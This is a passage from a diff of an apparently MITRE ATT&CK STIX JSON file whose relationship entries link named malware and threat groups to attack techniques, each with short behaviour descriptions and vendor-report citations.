+ } + ], + "modified": "2019-06-24T19:03:52.785Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim user name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--32218bd0-d598-4560-9a70-ab7d5c92f986", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks for running processes on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T17:59:44.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--39f3e098-ca5d-4dc4-9cbb-bc29148def30", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.239Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) collects the system's computer name and also has the capability to collect information on the processor, memory, and video card from the system.", + "type": "relationship", + "created": "2019-01-29T18:44:04.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b509e591-b086-4631-a9ba-5a5dc80de8d0", + "external_references": [ + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "source_name": "Fortinet Agent Tesla June 2017", + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "modified": "2019-04-16T14:30:35.435Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) uses Python scripts.", + "type": "relationship", + "created": "2019-01-29T18:55:20.848Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57966b1d-4770-49fb-afb6-b02699bb8154", + "external_references": [ + { + "source_name": "Riskiq Remcos Jan 2018", + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "modified": "2019-04-19T14:39:53.100Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can steal data from the clipboard.", + "type": "relationship", + "created": "2019-01-29T19:18:28.724Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28b56048-87a7-4204-b55b-3f2f79f9073f", + "external_references": [ + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.717Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.851Z", + "type": "relationship", + "created": "2019-01-29T19:39:38.530Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2b885e0-3b49-4a38-80eb-30a1a3157ff0", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can start, stop, or delete services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59b39f06-a71c-42f7-92f2-244a183113d6", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.492Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:05:33.695Z", + "type": "relationship", + "created": "2019-01-29T20:09:31.931Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57a7fefa-774b-4653-af2d-ebf3e2e315ce", + "external_references": [ + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.685Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfc7da70-d7c5-4508-8f50-1c3107269633", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f13e788-b0da-457d-89b1-64196c9627b8", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.711Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) establishes persistence by creating the Registry key HKCU\\Software\\Microsoft\\Windows\\Run.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f60b67a-c6a5-4855-991e-00ec6fe5f9ac", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.396Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a shortcut to maintain persistence.", + "type": "relationship", + "created": "2019-01-29T21:47:53.733Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--583d2c3b-dd25-4f83-812a-d38cee3cdeef", + "external_references": [ + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + } + ], + "modified": "2019-04-17T22:05:05.951Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) can upload and download files to and from the victim\u2019s machine.[", + "type": "relationship", + "created": "2019-01-30T13:24:09.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c77d6f2a-664e-4bbb-bf86-c2c58adbdc84", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:09.049Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) checks for installed security software like antivirus and firewall.", + "type": "relationship", + "created": "2019-01-30T13:42:09.621Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--433eeadb-2011-476e-833a-7541df07d432", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.621Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) lists the directories for Desktop, program files, and the user\u2019s recently accessed files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b106375b-8359-41fa-b979-c883fa827346", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) can collect system information from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T14:00:49.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c47e35e1-cf8a-4c2b-b63d-25b37a008226", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2019-05-30T18:05:32.899Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can upload and download to/from a victim machine.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--151dd9ac-7e33-4580-a4a4-09f71fa73f51", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:48.039Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) used PowerShell to download additional payloads.", + "type": "relationship", + "created": "2019-01-30T14:26:43.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac048ca9-efc6-46fd-90fe-b9d2a641f037", + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.343Z", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) creates a Registry Run key to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--828afc32-9874-40aa-b752-315c7623ffee", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + }, + { + "source_name": "Microsoft Kasidet", + "description": "Manuel, J. and Plantado, R.. (2015, August 9). Win32/Kasidet. Retrieved March 24, 2016.", + "url": "http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2FKasidet" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One version of [Helminth](https://attack.mitre.org/software/S0170) uses a PowerShell script.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b69fc3c-1bf7-4092-be94-755790ccf41f", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) adds itself to the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\CurrentVersion\\Run\\ for persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b909310-43e8-4870-ab62-d6078f27a785", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to enumerate running processes and identify their owners.", + "type": "relationship", + "created": "2019-01-30T15:38:21.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93fe5493-d3c1-4db2-8228-61da951c660e", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:38:21.284Z", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) can create a Windows account.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a7fc5d9b-7010-4bab-9e77-3b8e449a98bd", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e45cdf20-e182-4346-8c98-a48575282ae6", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) decodes many of its artifacts and is decrypted (AES-128) after being downloaded.", + "type": "relationship", + "created": "2019-01-30T16:39:54.492Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfe474ce-d88f-4372-9918-a04470ba080e", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.850Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a module to collect data from removable drives.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ab576ed-2ba0-4fc5-87fc-2011a7cd183d", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that checked if the ProgramData folder had folders or files with the keywords \"Kasper,\" \"Panda,\" or \"ESET.\"", + "type": "relationship", + "created": "2019-01-30T17:33:40.973Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7aab9015-1839-4672-9a9a-76f478c858a8", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:59.025Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naid](https://attack.mitre.org/software/S0205) creates a new service to establish.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b707524f-5ac2-47c2-964d-61782e812fda", + "external_references": [ + { + "source_name": "Symantec Naid June 2012", + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--448a35fc-fecf-4373-9888-30c37dd1d56a", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.288Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses cmd.exe to execute commands on victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--de376ec3-0fad-4c41-944d-2d74cee6968c", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": 